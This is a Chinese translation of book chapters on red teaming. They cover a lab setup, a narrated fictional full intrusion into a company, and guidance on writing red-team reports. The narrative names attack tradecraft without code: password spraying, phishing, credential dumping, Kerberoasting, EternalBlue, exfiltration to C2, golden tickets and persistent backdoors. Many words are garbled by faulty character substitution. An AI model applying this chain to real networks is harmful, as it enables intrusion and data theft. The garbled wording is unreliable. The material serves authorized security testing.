使用堤防器具构建进修和监控的实验环境测试咱们的坏心软件的一个很大挑战是咱们需要建立一个快速测试的环境。Chris Long 构建的一个名为 Detection Lab 的坚强器具是 Packer 和 Vagrant 剧本的书册,可让你快速将 Windows Active Directory 部署上线。该器具包含一系列端点安全和日记纪录的最好实践器具。Detection Lab 由四个主机构成(https://medium.com/@clong/introducing-detection-lab-61db34bed6ae ):
DC:一个 Windows 2016域收敛器 WEF:管制 Windows 事件蚁合(Windows Event Collection)的 Windows 2016劳动器 Win10:模拟非劳动器端点的 Windows 10主机 Logger:运行 Splunk 和一个 Fleet 劳动器的 Ubuntu 16.04主机 本章总结对于红队来说,决窍和技巧是咱们入侵艺术的一部分。咱们必须络续研究障碍用户、攻陷系统和逃匿检测的更好方法。这可莫得捷径,需要数小时到数年的老到、汗水和眼泪。
第9章 两分钟的进修——从零到好汉随着时辰的推移,直到测试的临了一天你齐还莫得从主义外部蚁集取得比较好的突破。因为你需要进入主义内网,了解他们公司的蚁集布局,得回一些明锐文献或者代码,然后找到更多的网段和高权限用户,最终需要拿到 Cyber Space Kittens 公司天外运筹帷幄的关系贵府,此时你嗅觉压力很大。你的任务是窃取最新的天外运筹帷幄关系的绝密信息况兼不成失败...现在是两分钟操练的时候了。只剩一丝点时辰了,你需要从10码线开首运球,突破扫数的辞谢保护,扫清路上的难得,最终把球带到90码线安全着陆。
10码线你从头翻阅我方之前作念的条记,找出我方可能遗漏的一些信息。你的眼睛聚焦在一个网页屏幕截图...这是一个 CSK(Cyber Space Kittens)的论坛网站。你暂时没法找到这个网站步调的疏忽,然则你扎眼到这个 CSK 论坛网站是给 CSK 里面职工和普通用户共同使用的,用于发布他们天外样子关系的问题、驳倒和其他事情。
你在网站上采集那些看上去是属于公司职工的账户。然后你根据账户名提真金不怕火信息制作比较靠谱的密码表(可能使用的密码)。你使用常用密码及其变体对扫数这些账户进行密码爆破尝试。你看到你的 python 剧本正在平缓的输出… 失败 … 失败 … 失败 … 密码已找到 ! 当你看到一个名为 Chris Catfield 的用户使用了 Summer2018! 这个密码时会心一笑。这个比你意料的要毛糙的多。接下来,你使用 Chris 的凭证登录论坛,查阅他的私信和帖子,找出那些能匡助更好的开展下一步行动的信息。你发现 Chris 通常与论坛上的另一位里面职工 Neil Pawstrong 有计划天外样子。看起来他们不是现实中的一又友,但他们有很融洽的协同责任关系。这对你开展受信任的垂纶障碍相称成心。这两个用户之间还是建立了融洽的关系,是以如果你使用 Chris 的帐号发垂纶邮件给 Neil,成功的可能性将会很大。
20码线你在纠结要不要径直向 Neil 发送坏心的 payload,然则那样太显著了。于是你向他发送了一个你刚搭建好的一个带有猫猫像片的网站的连气儿,“嘿,Neil,我知说念你心爱猫!望望我作念的这个页面吧!”
几分钟之后,你在论坛网站上收到的 Neil 的回复:“哈哈,我心爱这个天外猫啦!”Neil 莫得意志到他造访的网页有一个定制的 JavaScript 的 payload,这段 JS 代码在他的机器后台运行,扫描机器所在的 CSK 里面蚁集,况兼危及未经身份验证的 Jenkins 和 Tomcat Web 劳动器。几秒钟之后,你得到了一个弹记忆的 Empire 的 shell,你终于松了一语气。
30码线当你成功撕开主义的一说念口子,你意志到 CSK 的蚁集堤防部门从头接济防火墙成立、DNS 成立和进行主机屏蔽只是时辰问题,是以你需要快速移动。红运的是,你还是成立了一些自动化的步和谐剧原本处理那些繁琐的责任。受感染的主机还是激活 beacon 况兼开首运行 Bloodhound 等器具,查找腹地存储的密码关系文献,接济注册表的值来使 Mimikatz 器具能够拿获 LSASS 程度存储的密码,运行 SPN(Kerberos 办当事人体称号)并转储扫数 Kerberos 票证,天然还可以在运筹帷幄任务中作念一些耐久化渗入的接济。
40码线你真切我方需要快速离开这个第一台主机。于是你将扫数拿回的 Kerberos ticket(单子)导入到 Hashcat 步调中,然后开首破解。你发现用那些额外的 BUG 赏金购买了几块1080Ti显卡是个相称正确的决定。当 hash 开首破解的时候,你扎眼到有一些劳动账户的密码还是破解罢了,然则你现在还没时辰行止理这些。你仔细阅读 Bloodhound 的输出结果,发现这台受害的机器是属于 Neil Pawstrong 的,况兼 Neil 的 AD 账户(域账户)可以造访另一个属于 Buzz Clawdrin 的机器。通过使用 WMI 进行结合,你长途生成一个新的 payload 到 Buzz 的机器中,然后注入到属于 Buzz 账户程度中。
50码线红运的是,你的账户(Neil 的域账户)在 Buzz 主机的腹地管制员成员组中,这意味着你能在这个主机上作念更多的协同责任。 使用 Bloodhound 进行信息采集,你能够遍历通盘 CSK-LAB 域的蚁集,但你意志到你在这个主机中并莫得 system 权限。无用挂念,你可以加载 powerup 这个 powershell 剧本文献来查找这个主机的诞妄成立,进而让你权限耕作到 system 权限。如你所料,劳动二进制文献有大批没加引号的旅途,你可以在那写入你我方的 payload。你可以快速作念一个新的坏心的二进制文献来得回 system 权限。
60码线你在第二台主机上运行一个新的 Cobalt Strike 的 payload 得回了一个新的 beacon,这让你即使被他们发现了一些陈迹,也能保持造访权限。这是一个 system 权限的 beacon 结合,你可以通过该主机查找机器中存储在浏览器、WinSCP 成立文献等文本文献中的大批凭证。这台主机是个金矿,它可以结合到多个劳动器和数据库。你扎眼到此主机位于不同的 VLAN 上。看起来这个主机可以造访那些从 Neil 的主机无法看到的这个内网中的更多的网段和主机。你再次运行呐喊进行内网信息采集,通过 Bloodhound 来了解你当前能造访的网段和主机。你扎眼到这些蚁集中的许多主机无法结合到外网,因此你无法得回 HTTP 的 beacon。然则因为你使用的是 Cobalt Strike(https://www.cobaltstrike.com/help-smb-beacon ),因此你知说念它有一个坚强的功能,可将内网断网主机和你当前已控的 beacon 进行 SMB 管说念结合上线。这就意味着通盘实验室的 VLAN 蚁集中其他受到障碍的机器齐可以应用当前这个 CSK-LAB 主机造访到外网。另外,你发现这些在半阻止蚁集中的主机并莫得获取系统更新。看上去,这些运行着 Windows 7系统的客户端主机中并莫得为 EternalBlue(不灭之蓝疏忽)打补丁。
70码线通过这台 CSK-LAB 主机,你可以使用经过修改的 EternalBlue 疏忽、应用 payload 在这个 lab 域中的大多数 windows 7机器中中得回 SMB 的 beacon。你开首使用这些新的 shell 来得回更多的信息。你发现其中一个主机和一个名为 Restricted 的长途 Microsoft SQL 劳动器保持着活跃的结合。你尝试了在这个 lab 域中采集的扫数账户,但这些凭证齐不适用于这个数据库劳动器。你感到痛心,你回头望望我方扫数的条记,然后意志到你忘了那些正在破解的 Kerberos 单子!你通过 SSH 结合到负责破解 hash 的机器,观望那些破解结果,在结果中找出那些连气儿 Restricted 数据库的凭证。当你找到这个劳动帐号的密码时,你浑身得到了巨大的目田感。
80码线你登录到名为 Restricted 的数据库劳动器并对通盘数据库进行了脱库。 你很想径直在数据库劳动器中径直觉望,但你知说念时辰有限。 你使用一些 PowerShell 剧本对数据进行加密压缩,然后在不同的内网已控主机之间逐渐传递,临了将压缩数据应用蚁集蜕变到我方的 C2 劳动器上。
你告诉你我方,你作念到了!然则当你逐渐从飘了的嗅觉中冷静下来,你发现我方仍然有责任要作念。你回过甚来翻阅那些之前导出的 Bloodhound 采集的信息,发现一台名为 Purri Gagarin 的主机,它属于 IT 时期救助部门的责任组 。很好,咱们可以使用它来长途桌面结合或者使用 Windows ACE 结合到域管制员的机器,然后咱们可以将域管制员的密码重置为咱们自界说的密码。咱们接着操作,重置域管制员 Elon Muskkat 的密码,然后作念一些 AD 耐久化的接济来看管耐久的域管权限。
90码线咱们需要作念的临了一件事情是从域收敛器中导出扫数的哈希,况兼接济其他的后门,临了擦除咱们的陈迹。你可以使用 Mimikatz 应用的的 DCsync 功能来获取扫数用户的哈希,包括 krbtgt 单子。而不是使用动静很大的方法(卷影复制劳动)来获取域里扫数用户的哈希。咱们现在领有了黄金单子!这意味着咱们如果从头回到内网中,咱们可以创建我方的 Kerberos 单子况兼让它成为域管制员。
译者注: 卷影复制劳动(Volume Shadow Copy Service,简称 VSS)是微软 Windows 的一项组件劳动。卷影复制劳动是一项定时为分卷作复制的劳动。劳动会在分卷新增一个名为“暗影复制”(Shadow Copy)的选项。此劳动可为离线用户提供离线文献劳动。
为了留住更多的后门,咱们在不同主机中使用了不同的时期。咱们在一个主机中接济了 shift 后门;使用 backdoorfactory 时期将咱们的坏心软件荫藏在另一个主机中的常用二进制可践诺文献中;将系统的运筹帷幄任务接济为每周运行一次回连咱们的 C2 劳动器;使用一个和 lab 域分离的主机,使用 dnscat 的可践诺二进制文献代替系统中一个没啥用的运行劳动;还删除了几个主机的启动文献夹中的 payload。
咱们是红运的(天然与之对应咱们的红运建立在他们的横祸之上),咱们到咫尺为止齐莫得被发现。但你要记着,红队渗入评估的目的是为明晰解公司或组织发现坏心障碍行为的速率有多快(CSK 公司并莫得发现),以及他们践诺救急响应、取证柔息争障碍带来的负面影响的速率有多快。是以在临了你尝试触发 CSK 的蓝队采取行动,运行了一个 powershell 剧本( https://github.com/EmpireProject/Empire/blob/master/data/module_source/trollsploit/Get-RickAstley.ps1 )。你舒心的笑了,然后关闭条记本电脑。
任务完成 :)
第10章 赛后——分析呈报在之前的 THP 册本中,咱们有先容如何编写渗入测试呈报的示例,并提供了大批呈报模板。这些示例相称适合那些奉公遵法的作念渗入测试的行为,然则不适合红队的行为。正如本书所述,红队的焦点不是识别疏忽自身(天然这亦然责任的一部分),而是测试东说念主、器具、责任进程和职工的技能组合。如果你的公司被授权的渗入测试者或者未授权的坏东说念主障碍并成功入侵,你会给我方的功绩打几分?我一直反对使用差距评估分数、ISO 分数、老练度模子分数、圭臬风险分析、热度图和雷同类型的呈报来展示公司安全样子的真实情状。
就我个东说念主而言,我心爱看到公司从之前的红队行为中采取措施进行收敛,以测试是否的确取得了进展。举例,对于一个使用了近似域名方法的蚁集垂纶行为,咱们看到公司启用了以下一些功能:
使用 dnstwist 对与其公司雷同的域名发出警报; 接济一个外部电子邮件域的确凿列表。任何与之不匹配的外部邮件齐将在最终用户可见的电子邮件中附加一个标题,说明它是外部(非公司)的、未经批准的电子邮件源。这将匡助你的用户更容易识别蚁集垂纶。 来自代理中未分类的域的电子邮件中的任何连气儿至少应单击一次并警告用户改连气儿未分类。 禁止 Office 宏附件、强制使用受保护的视图和对文档进行沙盒处理。这只是一个公司可以实施的可以阻难障碍的一些毛糙方法。
请记着,红队东说念主员只需要找到一个疏忽就可能破碎通盘内网环境。然则蓝队成员只需要识别障碍者的 TTP(战术,时期和过程)之一,就可以阻难这挟制。因此,现在的问题是,如果这些 TTP 中的一个还是引起堤防系统发出警报,你的救急响应团队发现警报并处理挟制的速率有多快?是以红队作风的呈报应该包括哪些内容呢?由于红队这个倡导还很新,咫尺还莫得圭臬的呈报模板,咱们可以根据客户的需求进行定制。在我看来,因为咱们可能会在一个完整的红队行为中屡次尝试进入一个内网环境(且被收拢几次),是以咱们想要把好的方面和不好的方面齐在呈报中齐展示出来。
在行为期间、记条记方面,许多器具如 Empire 和 Cobalt Strike 在红队行为期间齐有很好的行为日记纪录,但这些可能还远远不够。我发现对咱们团队的行为相称有用的是,建立一个毛糙的 Web 劳动器来纪录红队成员践诺的每个操作。纪录过程中只采集最基本的信息,其中包括特定的事件、劳动器、描绘、影响、任何警报和屏幕截图。大多数红队/渗入测试东说念主员齐不心爱作念条记,但这类纪录提供了一种毛糙的追踪行为的方法。
一朝行为斥逐,咱们将采集扫数条记并将其组合在一说念,以构建一个能讲述故事的红队呈报。红队呈报的主要构成部分可能包括:
简介/范围:本节需要明确说明行为的主义。举例,有些客户要求咱们造访特定的数据、得回域管制权限、获取 PII(个东说念主身份信息)、获取 IP 或在找到他们的坐蓐环境的劳动器的标志(flag)。
方针:在一场交战之后得回障碍呈报是对救急响应团队/取证团队相称有匡助的。咱们还想细目他们的堤防器具或安全传感器可能遗漏的地点,那些使他们无法践诺取证或检测坏心行为的缓和。因此,咱们但愿给出C2劳动器的IP地址、使用的域名、二进制文献的 MD5/SHA1 哈希、电子邮件地址和 IP 信息、被垂纶的受害者列表以及任何其他可能有助于取证/救急响应团队的信息。
障碍时辰轴:这是红队行动中最浩瀚的部分之一,作念好条记是有酬金的。时辰轴应该充分说明扫数的主要行为,任何触发警报的 TTP,以及主要的行为。这将允许蓝队比较他们的时辰轴和条记,望望他们错过了什么。在一次确凿的障碍中,你有契机商量那些坏东说念主对于他们作念的每坏件事吗?这对辞谢团队来说詈骂常成心的。一个时辰轴示例可能是这样的:
检测时辰(TTD)/惩办时辰(TTM):这日常是咱们可以使用蓝队呈报构建 TTD/TTM 统计数据的地点。咱们齐想要细目蓝队发现一次多重入侵所需的时辰;扫描事件触发观看之前破耗的时辰(如果观看了的话);以及蓝队需要多永劫辰来识别蚁集垂纶行为。 第二部分应该谋划关系采取行动之前破耗的时辰的统计数据。如果有已警告的 C2 通讯或已识别的蚁集垂纶,那么在防火墙或 DNS 劳动器上紧闭这些域需要破耗的时辰是多久?咱们通常看到公司可能擅长屏蔽域名,然则当 C2 劳动器通过 IP 进行通讯时会很快失败(反之亦然)。咱们但愿确保追踪此行为并帮咱们的客户来识别它。另一个很有用的 TTM 揣度圭臬是他们最快的情况下要花多久来阻止一个还是证据受损的系统。随着坏心软件变得越来越自动化,咱们需要开首应用智能化和自动化的进程将系统或蚁集的一部分与组织的其他部分阻止开来。
来自救急响应/救急东说念主员的反馈:我最心爱纪录的东西之一是来自蓝队的反馈:他们是如何从辞谢的角度看待通盘行为的。我想知说念的是,他们是否合计我方效能了安全计谋,事件负责东说念主是否鼓舞了观看,管制层是否过度介入,安全部门如何与 IT 部门进行安全方面的互动,从而促进任何与 IT 关系的改变(防火墙屏蔽、DNS 修改等等)。以及他们中间的哪些东说念主过于焦灼、哪些东说念主过于冷静。
如前所述,红队的目的不是寻找疏忽或破碎环境(尽管这詈骂常兴趣的部分),而是改善客户组织的全体安全步和谐策动并解释其环境中存在某些疏忽。如今,许多公司对我方的安全步调过于自信,唯独当他们被攻破时才会作念出改变。现在有了红队,咱们可以模拟障碍行动并饱读吹客户作念出改变,而不是比及真实入侵的事件,那时或然已为时太晚。
相关资讯